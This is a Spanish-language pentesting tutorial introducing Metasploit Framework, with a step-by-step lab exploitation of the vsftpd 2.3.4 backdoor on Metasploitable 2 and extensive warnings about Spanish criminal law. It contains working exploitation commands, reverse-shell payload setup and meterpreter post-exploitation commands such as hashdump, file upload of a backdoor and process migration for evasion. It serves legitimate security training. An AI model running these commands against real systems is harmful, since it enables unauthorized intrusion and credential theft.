Metasploit Framework: tu primera explotación paso a paso desde Kali Linux
Metasploit Framework es el estándar de facto para la explotación de vulnerabilidades en auditorías de seguridad. Mientras Nmap descubre qué hay y Nessus identifica qué está roto, Metasploit da el siguiente paso: comprueba si esas vulnerabilidades son realmente explotables intentando explotarlas de forma controlada. Es la herramienta que convierte una lista de CVEs en acceso real al sistema objetivo, y por eso es también la que cruza la línea más crítica del marco legal del pentesting.
Metasploit fue creado por HD Moore en 2003 y adquirido por Rapid7 en 2009. Lleva más de dos décadas siendo el framework de explotación más usado del mundo, con más de 2.300 exploits públicos integrados, soporte para múltiples plataformas y una arquitectura modular que permite crear payloads personalizados para cada escenario. Viene preinstalado en Kali Linux y forma parte del currículum de todas las certificaciones serias de pentesting: OSCP, eJPT, CEH, GPEN.
Este artículo cierra la serie de análisis que arrancó con Nmap para reconocimiento activo y continuó con Nessus para análisis de vulnerabilidades. Con Metasploit pasamos del «qué está roto» al «cómo se rompe» — y esa diferencia no solo es técnica: es legal, ética y operativa. La primera mitad del artículo está dedicada a establecer el marco de uso legítimo antes de tocar un solo comando.
Qué es Metasploit Framework y por qué está en otra liga
Metasploit no observa ni analiza: ejecuta código contra el objetivo. Envía exploits diseñados para aprovechar vulnerabilidades concretas y, si funciona, devuelve una sesión interactiva dentro del sistema comprometido — una shell, un meterpreter, un canal de comunicación. Ese es el punto de no retorno: ya no estás mirando desde fuera, estás ejecutando comandos dentro de una máquina que no es tuya. Por eso Metasploit nunca se usa contra sistemas reales sin autorización escrita, contrato firmado y scope definido.
⚠ Uso legal de Metasploit — aviso crítico
Metasploit Framework no es una herramienta de reconocimiento: es un framework de ataque. Cada exploit que lanzas intenta comprometer el sistema objetivo explotando una vulnerabilidad conocida. Si tiene éxito, obtienes acceso no autorizado — lo que en términos legales es intrusismo informático, tipificado en el artículo 197 bis del Código Penal español con penas de prisión de 6 meses a 2 años.
A diferencia de Nmap (que escanea) o Nessus (que identifica), Metasploit ejecuta código malicioso contra el sistema. Eso significa que, además del 197 bis (acceso no autorizado), puedes entrar en el artículo 264 CP (daños informáticos) si el exploit causa alguna interrupción del servicio, corrupción de datos o inestabilidad del sistema. La jurisprudencia europea ha condenado el uso no autorizado de frameworks de explotación con penas que incluyen inhabilitación profesional.
Los únicos escenarios legítimos son idénticos a Nmap pero con requisitos aún más estrictos: (1) tu propio laboratorio aislado sin conexión a internet, (2) plataformas autorizadas como HackTheBox, TryHackMe o VulnHub, (3) auditorías formales con contrato por escrito que especifique alcance, límites temporales y tipos de ataques permitidos, y (4) programas de bug bounty con reglas de engagement publicadas. Cualquier otra cosa es delito grave sin atenuantes posibles.
Concepto base: anatomía de un exploit
Un exploit es código diseñado para aprovechar una vulnerabilidad específica de un software concreto. Por ejemplo, EternalBlue (MS17-010) explota un fallo en el protocolo SMBv1 de Windows que permite ejecución remota de código sin autenticación. El exploit envía paquetes malformados que desbordan un buffer, sobrescriben memoria y redirigen la ejecución del programa hacia el payload del atacante. Ese payload puede ser una shell remota, un meterpreter, o un simple comando que descarga y ejecuta un binario.
Metasploit separa el exploit del payload: el exploit es el cómo (el mecanismo de explotación) y el payload es el qué (lo que se ejecuta tras comprometer el sistema). Esa separación modular permite combinar cualquier exploit con cualquier payload compatible: puedes usar el mismo exploit de vsftpd con una reverse shell TCP, con un meterpreter, o con un simple comando que añade un usuario al sistema. La flexibilidad es brutal, y por eso Metasploit domina el ecosistema de pentesting.
Arquitectura de Metasploit: módulos principales
Metasploit está organizado en módulos que se combinan para ejecutar un ataque completo. Entender la jerarquía es clave para navegar msfconsole sin perderte entre 2.300 exploits.
Exploits — el vector de ataque
Son módulos que implementan el código de explotación. Cada uno está asociado a una vulnerabilidad específica (CVE) y soporta uno o más payloads. Se organizan por plataforma y servicio: exploit/windows/smb/ms17_010_eternalblue, exploit/unix/ftp/vsftpd_234_backdoor, exploit/linux/http/apache_mod_cgi_bash_env_exec. Algunos exploits requieren opciones como RHOST (IP objetivo), RPORT (puerto objetivo), LHOST (tu IP), LPORT (tu puerto de escucha).
Payloads — lo que se ejecuta tras el compromiso
Son el código que corre en el sistema comprometido tras la explotación exitosa. Hay tres tipos principales:
Singles — payloads completos que se ejecutan de una vez. Por ejemplo, windows/shell_reverse_tcp abre una reverse shell TCP.
Stagers — payloads pequeños que establecen la conexión inicial y luego descargan el payload completo (stage). Útiles cuando el exploit tiene restricciones de tamaño. Por ejemplo, windows/meterpreter/reverse_tcp: el stager abre la conexión, el stage descarga el meterpreter completo.
Stages — la segunda parte que se descarga tras el stager. Incluyen meterpreter (el payload avanzado de Metasploit con decenas de comandos post-explotación) o shells nativas del sistema.
Auxiliary — módulos de apoyo
No son exploits, son herramientas de enumeración, fuerza bruta, escaneo o DoS. Por ejemplo, auxiliary/scanner/smb/smb_version identifica la versión de SMB sin explotar nada. Útiles para la fase previa al ataque.
Post-explotación — módulos para después del compromiso
Se ejecutan tras obtener una sesión activa. Incluyen enumeración de usuarios, captura de credenciales, escalada de privilegios, pivoting a otras redes, persistencia. Por ejemplo, post/windows/gather/hashdump extrae los hashes de contraseñas de Windows.
Encoders — ofuscación de payloads
Transforman el payload para evitar detección por firmas de antivirus o IDS. Por ejemplo, x86/shikata_ga_nai es el encoder más usado. En la práctica, los AV modernos detectan prácticamente todos los payloads de Metasploit sin ofuscar, así que los encoders son imprescindibles en escenarios reales.
Comandos esenciales de msfconsole
msfconsole es la interfaz interactiva de Metasploit. Se ejecuta desde terminal en Kali Linux con el comando msfconsole. Tarda unos segundos en cargar todos los módulos y muestra un banner ASCII con estadísticas actualizadas (número de exploits, payloads, auxiliaries, etc.).
Búsqueda y selección de módulos
search vsftpd # Buscar exploits relacionados con vsftpd search type:exploit platform:windows smb # Búsqueda filtrada use exploit/unix/ftp/vsftpd_234_backdoor # Seleccionar un exploit back # Salir del módulo actual
El comando search busca en toda la base de módulos. Soporta filtros por tipo (exploit, auxiliary, post), plataforma (windows, linux, unix), CVE, y keywords. La salida muestra el nombre del módulo, el ranking (excelente, great, good, normal…) y la fecha de publicación.
Configuración del exploit
show options # Ver opciones requeridas del exploit show payloads # Ver payloads compatibles con el exploit set RHOSTS 192.168.56.103 # Establecer IP objetivo set RPORT 21 # Establecer puerto objetivo set LHOST 192.168.56.102 # Establecer tu IP (para reverse shells) set LPORT 4444 # Establecer tu puerto de escucha set payload linux/x86/shell_reverse_tcp # Seleccionar payload show options # Verificar que todo esté configurado
Las opciones básicas son RHOSTS (target), RPORT (puerto del servicio vulnerable), LHOST (tu IP atacante para que el payload se conecte de vuelta) y LPORT (tu puerto local de escucha). Algunos exploits tienen opciones adicionales como USER, PASS, TARGETURI, etc. El comando show options siempre muestra qué es obligatorio (Required: yes) y qué tiene valor por defecto.
Ejecución y gestión de sesiones
exploit # Lanzar el exploit exploit -j # Lanzar en background (job) sessions # Listar sesiones activas sessions -i 1 # Interactuar con la sesión 1 sessions -k 1 # Matar la sesión 1 sessions -K # Matar todas las sesiones
Si el exploit funciona, obtienes una sesión. Dependiendo del payload usado, puede ser una shell de sistema básica (shell_reverse_tcp) o un meterpreter completo (meterpreter/reverse_tcp). El meterpreter es mucho más potente: tiene comandos integrados para migrar procesos, capturar pantallas, keylogging, pivoting, etc.
Comandos de meterpreter
Si tu payload es un meterpreter, tras el exploit exitoso caes en un prompt meterpreter >. Ahí tienes acceso a comandos específicos:
sysinfo # Info del sistema comprometido getuid # Usuario actual ps # Procesos en ejecución migrate PID # Migrar a otro proceso (evasión) shell # Obtener shell nativa del SO download /etc/passwd # Descargar archivo del objetivo upload backdoor.exe C:\\ # Subir archivo al objetivo screenshot # Captura de pantalla hashdump # Extraer hashes de contraseñas (Windows) background # Enviar sesión al background
El comando migrate es crítico para mantener la sesión estable: si el proceso vulnerable crashea, pierdes la sesión; migrar a un proceso más estable (explorer.exe, svchost.exe) aumenta la persistencia.
El flujo correcto para explotar con Metasploit
Al igual que con Nmap, hay un flujo profesional que va por capas. Lanzar exploit sin preparación es ineficiente y ruidoso.
PASO 0
Reconocimiento previo con Nmap y Nessus
Antes de abrir Metasploit, ya deberías tener: lista de puertos abiertos (Nmap -sV), versiones exactas de servicios (Nmap -sV), y lista de CVEs aplicables (Nessus). Metasploit no adivina: necesita saber qué explotar. Por ejemplo, si Nmap reportó vsftpd 2.3.4 en el puerto 21, ese es tu punto de entrada.
PASO 1
Buscar el exploit apropiado
Usa search con keywords del servicio vulnerable. Por ejemplo, search vsftpd devuelve el módulo exploit/unix/ftp/vsftpd_234_backdoor. Verifica que el ranking sea al menos «good» — los exploits «low» o «manual» suelen ser poco fiables.
PASO 2
Configurar opciones del exploit
Tras use exploit/…, ejecuta show options para ver qué necesita. Como mínimo, RHOSTS (IP objetivo). Si el exploit usa reverse connection, también LHOST (tu IP). No olvides show payloads para ver opciones de payload.
PASO 3
Seleccionar y configurar el payload
Para pruebas de concepto, cmd/unix/interact o generic/shell_reverse_tcp son rápidos. Para post-explotación seria, meterpreter/reverse_tcp es la opción estándar. Configura LHOST y LPORT si el payload lo requiere.
PASO 4
Verificar configuración y lanzar
Un último show options para confirmar que todo está correcto. Luego exploit. Si funciona, obtienes una sesión. Si falla, revisa la salida de error — a menudo el exploit no es compatible con la versión exacta del servicio, o el objetivo tiene mitigaciones activas (ASLR, DEP, AV).
PASO 5
Post-explotación y limpieza
Una vez dentro, enumera el sistema (sysinfo, getuid, ps), captura la información que necesites y, si es un entorno controlado, limpia las huellas antes de cerrar la sesión. En un pentest real, documentas cada paso para el informe.
Caso práctico: vsftpd 2.3.4 backdoor en Metasploitable 2
Todos los ejemplos de esta sección se ejecutan contra Metasploitable 2 (IP 192.168.56.105) desde Kali Linux (IP 192.168.56.102). Metasploitable 2 es una máquina virtual deliberadamente vulnerable diseñada por Rapid7 para practicar pentesting. Descargable legalmente desde SourceForge. Ambas VMs están en la red interna del laboratorio de VirtualBox, completamente aislada.
Paso previo — Reconocimiento con Nmap
Antes de explotar, necesitamos confirmar que vsftpd 2.3.4 está corriendo en el objetivo:
nmap -sV -p 21 192.168.56.105
La salida debería mostrar algo como:
21/tcp open ftp vsftpd 2.3.4
Perfecto. vsftpd 2.3.4 tiene un backdoor conocido que permite ejecución de comandos sin autenticación. CVE-2011-2523. Metasploit tiene un módulo para explotarlo.
Explotación paso a paso
1. Iniciar msfconsole
msfconsole
Espera a que cargue. Cuando aparezca el prompt msf6 >, estás dentro.
2. Buscar el exploit de vsftpd
search vsftpd
Resultado:
exploit/unix/ftp/vsftpd_234_backdoor excellent vsftpd 2.3.4 Backdoor Command Execution
3. Seleccionar y configurar el exploit
use exploit/unix/ftp/vsftpd_234_backdoor show options set RHOSTS 192.168.56.105 show options
El segundo show options confirma que RHOSTS está establecido. Este exploit no requiere payload manual — el backdoor ya abre una shell en el puerto 6200.
4. Lanzar el exploit
exploit
Si todo va bien, la salida muestra:
[*] Banner: 220 (vsFTPd 2.3.4) [*] Sending malicious login... [*] Found shell on port 6200 [*] Command shell session 1 opened
Y caes en un prompt de shell. Puedes verificar con:
whoami id uname -a
Salida típica: root. Has comprometido la máquina con privilegios de root.
Salir de la sesión y limpiar
Para salir de la shell sin cerrar Metasploit:
background # O Ctrl+Z
Vuelves al prompt msf6 >. Para ver sesiones activas:
sessions
Para cerrar la sesión:
sessions -k 1
Conclusiones del caso práctico
FLUJO. Reconocimiento (Nmap) → identificación de versión vulnerable → búsqueda de exploit en Metasploit → configuración → explotación → post-explotación. Cada fase alimenta la siguiente.
SIMPLICIDAD. vsftpd 2.3.4 es uno de los exploits más sencillos de Metasploit: no requiere configuración de payload, no necesita permisos especiales, funciona casi siempre. Es el equivalente al «Hello World» del pentesting.
REALIDAD. En sistemas reales actualizados, los exploits públicos raramente funcionan de primeras. Hay parches, mitigaciones (ASLR, DEP), antivirus, IDS/IPS. Metasploit es el punto de partida, no la solución mágica.
El marco legal al usar Metasploit
Si Nmap ya cruzaba la línea del reconocimiento pasivo, Metasploit la destroza. No estás observando, no estás escaneando: estás atacando. Cada exploit lanzado intenta comprometer activamente el sistema objetivo. Por tanto, el marco legal es radicalmente más restrictivo que con cualquier herramienta anterior.
⚠ Marco legal — sin grises posibles
Explotar un sistema sin autorización → art. 197 bis CP (acceso no autorizado) + art. 264 CP (daños informáticos si hay interrupción o corrupción). Penas de 6 meses a 4 años de prisión según agravantes.
Explotar infraestructura crítica (hospitales, servicios esenciales, redes gubernamentales) → agravantes del 264 CP, penas hasta 8 años.
Obtener acceso a datos personales durante la explotación → violación RGPD + posible delito adicional art. 197 CP (descubrimiento y revelación de secretos).
Usar exploits contra sistemas propios, laboratorios aislados, o plataformas autorizadas (HackTheBox, TryHackMe, Metasploitable) → totalmente legal.
Trabajar bajo contrato de pentesting con scope definido, límites temporales claros y autorización escrita del propietario del sistema → legal dentro del scope acordado, ilegal fuera de él.
El detalle crítico que mucha gente ignora: la defensa de «solo quería ver si era vulnerable» o «estaba probando conocimientos» no tiene valor legal. La explotación no autorizada es delito consumado en el momento en que lanzas el exploit, independientemente de si funciona o no. Un exploit fallido sigue siendo intento de acceso no autorizado.
Además, a diferencia de Nmap (donde el riesgo principal es administrativo o civil), con Metasploit el riesgo es penal directo: prisión, antecedentes penales, inhabilitación profesional. La jurisprudencia española y europea ha sido especialmente dura con casos de uso de frameworks de explotación, porque demuestra premeditación técnica.
La recomendación sigue siendo la misma: practica exclusivamente en tu laboratorio de VirtualBox o en plataformas autorizadas. Si quieres trabajar profesionalmente en pentesting, busca contratos formales con empresas que necesiten auditorías. Nunca, bajo ninguna circunstancia, lances exploits contra sistemas ajenos sin autorización escrita previa.
«Nmap te muestra las puertas. Nessus te dice cuáles están rotas. Metasploit las abre. Y ese último paso — abrir puertas que no son tuyas — es donde acaba el aprendizaje y empieza el delito si no tienes permiso por escrito.»
— La Página de Draven · Ciberseguridad · 2026
Referencia rápida: comandos esenciales de msfconsole
| Comando | Función | Ejemplo |
|---|---|---|
| search | Buscar exploits/módulos | search vsftpd |
| use | Seleccionar módulo | use exploit/unix/ftp/vsftpd_234_backdoor |
| show options | Ver opciones del módulo | show options |
| show payloads | Ver payloads compatibles | show payloads |
| set | Establecer valor de opción | set RHOSTS 192.168.56.105 |
| setg | Establecer valor global | setg LHOST 192.168.56.102 |
| exploit | Lanzar el exploit | exploit |
| exploit -j | Lanzar en background | exploit -j |
| sessions | Listar sesiones activas | sessions |
| sessions -i N | Interactuar con sesión | sessions -i 1 |
| sessions -k N | Cerrar sesión | sessions -k 1 |
| background | Enviar sesión al fondo | background (o Ctrl+Z) |
| info | Info del módulo actual | info |
| back | Salir del módulo actual | back |
Comandos específicos de meterpreter
| Comando | Función |
|---|---|
| sysinfo | Información del sistema |
| getuid | Usuario actual |
| ps | Lista de procesos |
| migrate PID | Migrar a otro proceso |
| shell | Obtener shell nativa |
| download | Descargar archivo del objetivo |
| upload | Subir archivo al objetivo |
| screenshot | Captura de pantalla |
| hashdump | Extraer hashes (Windows) |
| background | Enviar sesión al fondo |
Conclusión
Metasploit Framework es el puente entre identificar vulnerabilidades y comprobar si son explotables. Es la herramienta que separa el pentesting teórico del práctico, y por eso mismo es también la que cruza la frontera legal más clara. Saber usarlo — y sobre todo, saber cuándo y dónde usarlo — es lo que diferencia a un profesional de la ciberseguridad de alguien con problemas legales graves.
Esta guía cierra la trilogía de reconocimiento y análisis que iniciamos con Nmap y continuamos con Nessus. Nmap descubre puertos y servicios, Nessus identifica vulnerabilidades asociadas a esos servicios, y Metasploit prueba si esas vulnerabilidades permiten compromiso real. Juntas, estas tres herramientas forman el núcleo técnico de cualquier auditoría de seguridad ofensiva.
Los próximos artículos profundizarán en la fase de post-explotación: reverse shells avanzadas, escalada de privilegios en Linux y Windows, persistencia, pivoting a redes internas y borrado de huellas. Todo desde el laboratorio, siempre dentro del marco legal.
La Página de Draven · Ciberseguridad · Metasploit Framework · 2026
#MetasploitFramework #msfconsole #KaliLinux #Pentesting #Explotación #Exploit #Payload #Vulnerabilidades #Ciberseguridad #HackingÉtico #VirtualBox #Laboratorio #MásterCiberseguridad #ASIR #RedTeam






